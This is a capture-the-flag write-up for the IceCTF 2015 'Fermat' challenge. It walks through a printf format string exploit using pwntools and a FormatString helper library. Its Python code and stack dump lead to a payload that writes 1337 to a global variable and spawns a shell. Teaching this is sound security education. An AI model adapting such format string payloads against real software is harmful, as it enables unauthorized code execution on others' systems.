IceCTF 2015: Fermat¶
Overview¶
The fermat challenge takes in an arugment on the command line, then simply
prints it back out to the console using printf (thus the format string
vulnerability). After printing it out, it checks for the value of a global
variable named secret
. If this variable equals the value 1337, then it
gives you a shell.
A difference with this challenge is that, since your input is coming from the command line argument, ASLR and space make it difficult to utilize that buffer to provide addresses for your format string vulnerability. It likely still would have been doable to use that buffer had it not been for the fact that this application runs once then exits, thus re-randomizing the space. My guess is that was an intentional design decision.
Example:
$ ./fermat %x
ff961fa4
Game Plan¶
For this challenge, we will set up FormatString
as usual. However, we will
then look at the stack. Finally, we will use FormatString
to write the
required value to the spot in memory.
Step 1: exec_fmt¶
The first step in using the FormatString
class is to create an exec_fmt
function. This function will take in any arbitrary input, pass that input into
the application properly, parse the results and return the results back. At
this point, we’re not worried about exploiting the vulnerability, we’re simply
interacting with the program.
def exec_fmt(s):
global p
print("executing: " + repr(s))
# Open up pwntool process class to interact with application
p = process(["./fermat",s],buffer_fill_size=0xffff)
# Get the output
out = p.recvall()
return out
This one is actually a little bit messy since there’s no good way to know ahead of time if the process will exit or not in an automated manner. That said, we can take the exploit code generated and run it manually at the end.
Step 2: Instantiate Class¶
Next, we need to instantiate a FormatString class. This can be done strait
forward. To make it simpler, we’ll also open an ELF
class on the exe.
from formatStringExploiter.FormatString import FormatString
from pwn import *
# Load the binary in pwntools. This way we don't need to worry about the
# details, just pass it to FormatString
elf = ELF("./fermat")
# Now, instantiate a FormatString class, using the elf and exec_fmt functions
fmtStr = FormatString(exec_fmt,elf=elf)
You will see some data scroll. This is the FormatString class attempting to
discover your buffer for you. Notice that in this case FormatString
is
unable to find the buffer. However, during all that scrolling, FormatString
will have figured out enough about the stack to provide us assistance in
exploitation.
Step 3: Examine the Stack¶
This step isn’t strictly necessary. At this point, FormatString
understands
the layout of the stack. However, the human running it may not. If you wanted
to, you could jump to step 4 and everything would still work. However, the
stack view is helpful in many cases when you want a quick understanding of what
the stack looks like.
Run the printStack method:
In [1]: fmtStr.printStack()
+-------+------------+-------------------------+
| Index | Value | Guess |
+-------+------------+-------------------------+
| 1 | 0xffb2b574 | |
| 2 | 0xfffb0530 | |
| 3 | 0xf75d2c0b | |
| 4 | 0xf77933dc | |
| 5 | 0x804821c | |
| 6 | 0x804852b | |
| 7 | 0x804a02c | Symbol: secret |
| 8 | 0xf7782000 | |
| 9 | 0xf76c9000 | |
| 10 | 0x0 | |
| 11 | 0xf753c637 | |
| 12 | 0x2 | |
| 13 | 0xffc64a04 | |
| 14 | 0xffb97e20 | |
| 15 | 0x0 | |
| 16 | 0x0 | |
| 17 | 0x0 | |
| 18 | 0xf76ce000 | |
| 19 | 0xf771cc04 | |
| 20 | 0xf77a7000 | |
| 21 | 0x0 | |
| 22 | 0xf775b000 | |
| 23 | 0xf7771000 | |
| 24 | 0x0 | |
| 25 | 0xa2e514a1 | |
| 26 | 0x8da6966 | |
| 27 | 0x0 | |
| 28 | 0x0 | |
| 29 | 0x0 | |
| 30 | 0x2 | |
| 31 | 0x80483b0 | Symbol: _start |
| 32 | 0x0 | |
| 33 | 0xf773ef10 | |
| 34 | 0xf7750780 | |
| 35 | 0xf77ee000 | |
| 36 | 0x2 | |
| 37 | 0x80483b0 | Symbol: _start |
| 38 | 0x0 | |
| 39 | 0x80483d1 | |
| 40 | 0x80484e5 | Symbol: main |
| 41 | 0x2 | |
| 42 | 0xff9b6164 | |
| 43 | 0x8048520 | Symbol: __libc_csu_init |
| 44 | 0x8048590 | Symbol: __libc_csu_fini |
| 45 | 0xf76fa780 | |
| 46 | 0xffdc069c | |
| 47 | 0xf7763918 | |
| 48 | 0x2 | |
| 49 | 0xffe17ca4 | |
| 50 | 0xff9bfcad | |
| 51 | 0x0 | |
| 52 | 0xff934cbb | |
| 53 | 0xffdd7cdc | |
| 54 | 0xff86dd10 | |
| 55 | 0xffc48d3c | |
| 56 | 0xffac4d5c | |
| 57 | 0xff91cd7c | |
| 58 | 0xff9fbd91 | |
| 59 | 0xffbe1da3 | |
| 60 | 0xff884db4 | |
| 61 | 0xffafedc2 | |
| 62 | 0xffda015e | |
| 63 | 0xff87a169 | |
+-------+------------+-------------------------+
Notice that up towards the top, FormatString
has identified the symbol
secret
. This is the symbol that we would like to overwrite with a value.
Since the required pointer is already on the stack, FormatString
can
utilize that pointer for a write without needing it’s own buffer offset.
Step 4: Write the Value¶
Let’s go ahead and write the required value to this variable. From a user
perspective, the hope is that this is transparent. In this case it indeed is.
You can simply tell FormatString
that you’d like to write to the address of
symbol secret
and give it the value, and in the background it determines
that it can do this through reusing an existing pointer on the stack.
fmtStr.write_word(elf.symbols['secret'],0x539)
As mentioned above, the exec_fmt function isn’t perfect in this case and will
end up killing the new shell before we can access it. Many ways around this,
one simple one is to simply re-use the same format string line that
FormatString
used, instead manually. I got this from the output of the
above command:
%1337c%007$hnJJJ
For example the following would spawn the shell:
$ ./fermat '%1337c%007$hnJJJ'